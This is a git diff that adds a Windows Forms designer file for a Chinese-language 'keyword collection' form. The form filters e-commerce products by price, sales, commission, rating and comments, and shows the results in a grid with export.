+ + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/CollectForms/KeywordCollectForm.Designer.cs b/TEMUKJD/KJDForms/CollectForms/KeywordCollectForm.Designer.cs new file mode 100644 index 0000000..1f53278 --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/KeywordCollectForm.Designer.cs @@ -0,0 +1,734 @@ +namespace LittleRabbit.LittleRabbitForms.CollectForms +{ + partial class KeywordCollectForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.btnExport = new LittleRabbit.UserControls.ButtonEx(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.txtKeyWords = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.btnLoginDouyin = new LittleRabbit.UserControls.ButtonEx(); + this.btnCollect = new LittleRabbit.UserControls.ButtonEx(); + this.ucGroupBoxEx2 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.cmbCategory = new System.Windows.Forms.ComboBox(); + this.label9 = new System.Windows.Forms.Label(); + this.txtCommentRateMax = new System.Windows.Forms.TextBox(); + this.txtCommentRateMin = new System.Windows.Forms.TextBox(); + this.label7 = new System.Windows.Forms.Label(); + this.label8 = new System.Windows.Forms.Label(); + this.txtCommentCountMax = new System.Windows.Forms.TextBox(); + this.txtCommentCountMin = new System.Windows.Forms.TextBox(); + this.label5 = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.txtScoreMax = new System.Windows.Forms.TextBox(); + this.txtScoreMin = new System.Windows.Forms.TextBox(); + this.label3 = new System.Windows.Forms.Label(); + this.label4 = new System.Windows.Forms.Label(); + this.txtYongJinMax = new System.Windows.Forms.TextBox(); + this.txtYongJinMin = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.label10 = new System.Windows.Forms.Label(); + this.txtTotalPage = new System.Windows.Forms.TextBox(); + this.txtSellCountMax = new System.Windows.Forms.TextBox(); + this.txtPriceMax = new System.Windows.Forms.TextBox(); + this.label13 = new System.Windows.Forms.Label(); + this.txtPriceMin = new System.Windows.Forms.TextBox(); + this.label14 = new System.Windows.Forms.Label(); + this.label15 = new System.Windows.Forms.Label(); + this.txtSellCountMin = new System.Windows.Forms.TextBox(); + this.label16 = new System.Windows.Forms.Label(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvCollect = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colKeyword = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colProductId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colProductName = new System.Windows.Forms.DataGridViewLinkColumn(); + this.colPrice = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colSaleCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colYongJin = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colYongJinLv = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCommentCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCommentRate = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colScore = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopNmae = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colDelete = new System.Windows.Forms.DataGridViewLinkColumn(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.ucGroupBoxEx1.SuspendLayout(); + this.ucGroupBoxEx2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvCollect)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.BackColor = System.Drawing.Color.White; + this.splitContainer1.Panel1.Controls.Add(this.btnExport); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + this.splitContainer1.Panel1.Controls.Add(this.btnLoginDouyin); + this.splitContainer1.Panel1.Controls.Add(this.btnCollect); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx2); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(852, 468); + this.splitContainer1.SplitterDistance = 121; + this.splitContainer1.TabIndex = 379; + // + // btnExport + // + this.btnExport.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnExport.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnExport.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnExport.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnExport.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnExport.ForeColor = System.Drawing.Color.White; + this.btnExport.Location = new System.Drawing.Point(772, 84); + this.btnExport.Margin = new System.Windows.Forms.Padding(2); + this.btnExport.Name = "btnExport"; + this.btnExport.Size = new System.Drawing.Size(66, 26); + this.btnExport.TabIndex = 394; + this.btnExport.Text = "导出数据"; + this.btnExport.UseVisualStyleBackColor = false; + this.btnExport.Click += new System.EventHandler(this.btnExport_Click); + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.txtKeyWords); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(3, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(277, 120); + this.ucGroupBoxEx1.TabIndex = 393; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "采集关键字"; + // + // txtKeyWords + // + this.txtKeyWords.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.txtKeyWords.Border.Class = "TextBoxBorder"; + this.txtKeyWords.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtKeyWords.Location = new System.Drawing.Point(10, 21); + this.txtKeyWords.Multiline = true; + this.txtKeyWords.Name = "txtKeyWords"; + this.txtKeyWords.PreventEnterBeep = true; + this.txtKeyWords.Size = new System.Drawing.Size(257, 88); + this.txtKeyWords.TabIndex = 7; + this.txtKeyWords.WatermarkText = "请输入要搜索的关键词\r\n一行一个"; + // + // btnLoginDouyin + // + this.btnLoginDouyin.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnLoginDouyin.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnLoginDouyin.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnLoginDouyin.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnLoginDouyin.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnLoginDouyin.ForeColor = System.Drawing.Color.White; + this.btnLoginDouyin.Location = new System.Drawing.Point(772, 20); + this.btnLoginDouyin.Margin = new System.Windows.Forms.Padding(2); + this.btnLoginDouyin.Name = "btnLoginDouyin"; + this.btnLoginDouyin.Size = new System.Drawing.Size(66, 26); + this.btnLoginDouyin.TabIndex = 373; + this.btnLoginDouyin.Text = "登录抖音"; + this.btnLoginDouyin.UseVisualStyleBackColor = false; + this.btnLoginDouyin.Visible = false; + // + // btnCollect + // + this.btnCollect.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnCollect.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCollect.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnCollect.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnCollect.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnCollect.ForeColor = System.Drawing.Color.White; + this.btnCollect.Location = new System.Drawing.Point(772, 52); + this.btnCollect.Margin = new System.Windows.Forms.Padding(2); + this.btnCollect.Name = "btnCollect"; + this.btnCollect.Size = new System.Drawing.Size(66, 26); + this.btnCollect.TabIndex = 374; + this.btnCollect.Text = "开始采集"; + this.btnCollect.UseVisualStyleBackColor = false; + this.btnCollect.Click += new System.EventHandler(this.btnCollect_Click); + // + // ucGroupBoxEx2 + // + this.ucGroupBoxEx2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx2.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx2.Controls.Add(this.cmbCategory); + this.ucGroupBoxEx2.Controls.Add(this.label9); + this.ucGroupBoxEx2.Controls.Add(this.txtCommentRateMax); + this.ucGroupBoxEx2.Controls.Add(this.txtCommentRateMin); + this.ucGroupBoxEx2.Controls.Add(this.label7); + this.ucGroupBoxEx2.Controls.Add(this.label8); + this.ucGroupBoxEx2.Controls.Add(this.txtCommentCountMax); + this.ucGroupBoxEx2.Controls.Add(this.txtCommentCountMin); + this.ucGroupBoxEx2.Controls.Add(this.label5); + this.ucGroupBoxEx2.Controls.Add(this.label6); + this.ucGroupBoxEx2.Controls.Add(this.txtScoreMax); + this.ucGroupBoxEx2.Controls.Add(this.txtScoreMin); + this.ucGroupBoxEx2.Controls.Add(this.label3); + this.ucGroupBoxEx2.Controls.Add(this.label4); + this.ucGroupBoxEx2.Controls.Add(this.txtYongJinMax); + this.ucGroupBoxEx2.Controls.Add(this.txtYongJinMin); + this.ucGroupBoxEx2.Controls.Add(this.label1); + this.ucGroupBoxEx2.Controls.Add(this.label2); + this.ucGroupBoxEx2.Controls.Add(this.label10); + this.ucGroupBoxEx2.Controls.Add(this.txtTotalPage); + this.ucGroupBoxEx2.Controls.Add(this.txtSellCountMax); + this.ucGroupBoxEx2.Controls.Add(this.txtPriceMax); + this.ucGroupBoxEx2.Controls.Add(this.label13); + this.ucGroupBoxEx2.Controls.Add(this.txtPriceMin); + this.ucGroupBoxEx2.Controls.Add(this.label14); + this.ucGroupBoxEx2.Controls.Add(this.label15); + this.ucGroupBoxEx2.Controls.Add(this.txtSellCountMin); + this.ucGroupBoxEx2.Controls.Add(this.label16); + this.ucGroupBoxEx2.Location = new System.Drawing.Point(281, 2); + this.ucGroupBoxEx2.Name = "ucGroupBoxEx2"; + this.ucGroupBoxEx2.Size = new System.Drawing.Size(409, 120); + this.ucGroupBoxEx2.TabIndex = 395; + this.ucGroupBoxEx2.TabStop = false; + this.ucGroupBoxEx2.Text = "采集参数"; + // + // cmbCategory + // + this.cmbCategory.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbCategory.Font = new System.Drawing.Font("微软雅黑", 7.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.cmbCategory.FormattingEnabled = true; + this.cmbCategory.Items.AddRange(new object[] { + "综合", + "佣金排序", + "销量排序", + "价格降序", + "价格升序"}); + this.cmbCategory.Location = new System.Drawing.Point(73, 14); + this.cmbCategory.Name = "cmbCategory"; + this.cmbCategory.Size = new System.Drawing.Size(123, 24); + this.cmbCategory.TabIndex = 406; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(16, 18); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(56, 17); + this.label9.TabIndex = 407; + this.label9.Text = "排  序"; + // + // txtCommentRateMax + // + this.txtCommentRateMax.Location = new System.Drawing.Point(337, 90); + this.txtCommentRateMax.Name = "txtCommentRateMax"; + this.txtCommentRateMax.Size = new System.Drawing.Size(55, 23); + this.txtCommentRateMax.TabIndex = 405; + this.txtCommentRateMax.Text = "100"; + // + // txtCommentRateMin + // + this.txtCommentRateMin.Location = new System.Drawing.Point(269, 90); + this.txtCommentRateMin.Name = "txtCommentRateMin"; + this.txtCommentRateMin.Size = new System.Drawing.Size(55, 23); + this.txtCommentRateMin.TabIndex = 402; + this.txtCommentRateMin.Text = "0"; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(224, 93); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(44, 17); + this.label7.TabIndex = 403; + this.label7.Text = "好评率"; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(325, 93); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(13, 17); + this.label8.TabIndex = 404; + this.label8.Text = "-"; + // + // txtCommentCountMax + // + this.txtCommentCountMax.Location = new System.Drawing.Point(337, 65); + this.txtCommentCountMax.Name = "txtCommentCountMax"; + this.txtCommentCountMax.Size = new System.Drawing.Size(55, 23); + this.txtCommentCountMax.TabIndex = 401; + this.txtCommentCountMax.Text = "99999999"; + // + // txtCommentCountMin + // + this.txtCommentCountMin.Location = new System.Drawing.Point(269, 65); + this.txtCommentCountMin.Name = "txtCommentCountMin"; + this.txtCommentCountMin.Size = new System.Drawing.Size(55, 23); + this.txtCommentCountMin.TabIndex = 398; + this.txtCommentCountMin.Text = "0"; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(224, 68); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(44, 17); + this.label5.TabIndex = 399; + this.label5.Text = "评论数"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(325, 68); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(13, 17); + this.label6.TabIndex = 400; + this.label6.Text = "-"; + // + // txtScoreMax + // + this.txtScoreMax.Location = new System.Drawing.Point(337, 40); + this.txtScoreMax.Name = "txtScoreMax"; + this.txtScoreMax.Size = new System.Drawing.Size(55, 23); + this.txtScoreMax.TabIndex = 397; + this.txtScoreMax.Text = "5"; + // + // txtScoreMin + // + this.txtScoreMin.Location = new System.Drawing.Point(269, 40); + this.txtScoreMin.Name = "txtScoreMin"; + this.txtScoreMin.Size = new System.Drawing.Size(55, 23); + this.txtScoreMin.TabIndex = 394; + this.txtScoreMin.Text = "0"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(212, 43); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(56, 17); + this.label3.TabIndex = 395; + this.label3.Text = "体验分数"; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(325, 43); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(13, 17); + this.label4.TabIndex = 396; + this.label4.Text = "-"; + // + // txtYongJinMax + // + this.txtYongJinMax.Location = new System.Drawing.Point(337, 15); + this.txtYongJinMax.Name = "txtYongJinMax"; + this.txtYongJinMax.Size = new System.Drawing.Size(55, 23); + this.txtYongJinMax.TabIndex = 393; + this.txtYongJinMax.Text = "99999999"; + // + // txtYongJinMin + // + this.txtYongJinMin.Location = new System.Drawing.Point(269, 15); + this.txtYongJinMin.Name = "txtYongJinMin"; + this.txtYongJinMin.Size = new System.Drawing.Size(55, 23); + this.txtYongJinMin.TabIndex = 390; + this.txtYongJinMin.Text = "0"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(212, 18); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(56, 17); + this.label1.TabIndex = 391; + this.label1.Text = "宝贝佣金"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(325, 18); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(13, 17); + this.label2.TabIndex = 392; + this.label2.Text = "-"; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(16, 93); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(56, 17); + this.label10.TabIndex = 389; + this.label10.Text = "采集页数"; + // + // txtTotalPage + // + this.txtTotalPage.Location = new System.Drawing.Point(73, 90); + this.txtTotalPage.Name = "txtTotalPage"; + this.txtTotalPage.Size = new System.Drawing.Size(123, 23); + this.txtTotalPage.TabIndex = 388; + this.txtTotalPage.Text = "5"; + // + // txtSellCountMax + // + this.txtSellCountMax.Location = new System.Drawing.Point(141, 65); + this.txtSellCountMax.Name = "txtSellCountMax"; + this.txtSellCountMax.Size = new System.Drawing.Size(55, 23); + this.txtSellCountMax.TabIndex = 387; + this.txtSellCountMax.Text = "99999999"; + // + // txtPriceMax + // + this.txtPriceMax.Location = new System.Drawing.Point(141, 40); + this.txtPriceMax.Name = "txtPriceMax"; + this.txtPriceMax.Size = new System.Drawing.Size(55, 23); + this.txtPriceMax.TabIndex = 383; + this.txtPriceMax.Text = "99999999"; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(129, 68); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(13, 17); + this.label13.TabIndex = 386; + this.label13.Text = "-"; + // + // txtPriceMin + // + this.txtPriceMin.Location = new System.Drawing.Point(73, 40); + this.txtPriceMin.Name = "txtPriceMin"; + this.txtPriceMin.Size = new System.Drawing.Size(55, 23); + this.txtPriceMin.TabIndex = 379; + this.txtPriceMin.Text = "0"; + // + // label14 + // + this.label14.AutoSize = true; + this.label14.Location = new System.Drawing.Point(16, 68); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(56, 17); + this.label14.TabIndex = 385; + this.label14.Text = "宝贝销量"; + // + // label15 + // + this.label15.AutoSize = true; + this.label15.Location = new System.Drawing.Point(16, 43); + this.label15.Name = "label15"; + this.label15.Size = new System.Drawing.Size(56, 17); + this.label15.TabIndex = 380; + this.label15.Text = "宝贝价格"; + // + // txtSellCountMin + // + this.txtSellCountMin.Location = new System.Drawing.Point(73, 65); + this.txtSellCountMin.Name = "txtSellCountMin"; + this.txtSellCountMin.Size = new System.Drawing.Size(55, 23); + this.txtSellCountMin.TabIndex = 384; + this.txtSellCountMin.Text = "0"; + // + // label16 + // + this.label16.AutoSize = true; + this.label16.Location = new System.Drawing.Point(129, 43); + this.label16.Name = "label16"; + this.label16.Size = new System.Drawing.Size(13, 17); + this.label16.TabIndex = 382; + this.label16.Text = "-"; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvCollect); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(5, 0, 5, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(852, 343); + this.splitContainer2.SplitterDistance = 314; + this.splitContainer2.SplitterWidth = 1; + this.splitContainer2.TabIndex = 7; + // + // dgvCollect + // + this.dgvCollect.AllowUserToAddRows = false; + this.dgvCollect.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvCollect.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvCollect.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvCollect.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvCollect.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvCollect.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colKeyword, + this.colProductId, + this.colProductName, + this.colPrice, + this.colSaleCount, + this.colYongJin, + this.colYongJinLv, + this.colCommentCount, + this.colCommentRate, + this.colScore, + this.colShopNmae, + this.colDelete}); + this.dgvCollect.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvCollect.Location = new System.Drawing.Point(5, 0); + this.dgvCollect.Name = "dgvCollect"; + this.dgvCollect.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvCollect.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvCollect.RowTemplate.Height = 23; + this.dgvCollect.Size = new System.Drawing.Size(842, 314); + this.dgvCollect.TabIndex = 6; + this.dgvCollect.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvCollect_CellContentClick); + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Visible = false; + this.colSelect.Width = 41; + // + // colKeyword + // + this.colKeyword.HeaderText = "关键词"; + this.colKeyword.Name = "colKeyword"; + this.colKeyword.ReadOnly = true; + // + // colProductId + // + this.colProductId.HeaderText = "商品Id"; + this.colProductId.Name = "colProductId"; + this.colProductId.ReadOnly = true; + this.colProductId.Width = 150; + // + // colProductName + // + this.colProductName.HeaderText = "商品名称"; + this.colProductName.Name = "colProductName"; + this.colProductName.ReadOnly = true; + this.colProductName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colProductName.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colProductName.Width = 350; + // + // colPrice + // + this.colPrice.HeaderText = "价格"; + this.colPrice.Name = "colPrice"; + this.colPrice.ReadOnly = true; + this.colPrice.Width = 80; + // + // colSaleCount + // + this.colSaleCount.HeaderText = "销量"; + this.colSaleCount.Name = "colSaleCount"; + this.colSaleCount.ReadOnly = true; + // + // colYongJin + // + this.colYongJin.HeaderText = "佣金"; + this.colYongJin.Name = "colYongJin"; + this.colYongJin.ReadOnly = true; + // + // colYongJinLv + // + this.colYongJinLv.HeaderText = "佣金率"; + this.colYongJinLv.Name = "colYongJinLv"; + this.colYongJinLv.ReadOnly = true; + // + // colCommentCount + // + this.colCommentCount.HeaderText = "评论数"; + this.colCommentCount.Name = "colCommentCount"; + this.colCommentCount.ReadOnly = true; + // + // colCommentRate + // + this.colCommentRate.HeaderText = "好评率"; + this.colCommentRate.Name = "colCommentRate"; + this.colCommentRate.ReadOnly = true; + // + // colScore + // + this.colScore.HeaderText = "体验分数"; + this.colScore.Name = "colScore"; + this.colScore.ReadOnly = true; + // + // colShopNmae + // + this.colShopNmae.HeaderText = "店铺名称"; + this.colShopNmae.Name = "colShopNmae"; + this.colShopNmae.ReadOnly = true; + this.colShopNmae.Width = 150; + // + // colDelete + // + this.colDelete.HeaderText = "删除"; + this.colDelete.Name = "colDelete"; + this.colDelete.ReadOnly = true; + this.colDelete.Visible = false; + this.colDelete.Width = 81; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(852, 28); + this.statusBar.TabIndex = 5; + // + // KeywordCollectForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(852, 468); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.Name = "KeywordCollectForm"; + this.Text = "关键词采集"; + this.Load += new System.EventHandler(this.KeywordCollectForm_Load); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ucGroupBoxEx1.ResumeLayout(false); + this.ucGroupBoxEx2.ResumeLayout(false); + this.ucGroupBoxEx2.PerformLayout(); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvCollect)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private UserControls.ButtonEx btnExport; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private DevComponents.DotNetBar.Controls.TextBoxX txtKeyWords; + private UserControls.ButtonEx btnLoginDouyin; + private UserControls.ButtonEx btnCollect; + private UserComponent.UcGroupBoxEx ucGroupBoxEx2; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.TextBox txtTotalPage; + private System.Windows.Forms.TextBox txtSellCountMax; + private System.Windows.Forms.TextBox txtPriceMax; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.TextBox txtPriceMin; + private System.Windows.Forms.Label label14; + private System.Windows.Forms.Label label15; + private System.Windows.Forms.TextBox txtSellCountMin; + private System.Windows.Forms.Label label16; + private UserComponent.DataGridViewEx dgvCollect; + private System.Windows.Forms.TextBox txtCommentRateMax; + private System.Windows.Forms.TextBox txtCommentRateMin; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.TextBox txtCommentCountMax; + private System.Windows.Forms.TextBox txtCommentCountMin; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.TextBox txtScoreMax; + private System.Windows.Forms.TextBox txtScoreMin; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.TextBox txtYongJinMax; + private System.Windows.Forms.TextBox txtYongJinMin; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.ComboBox cmbCategory; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colKeyword; + private 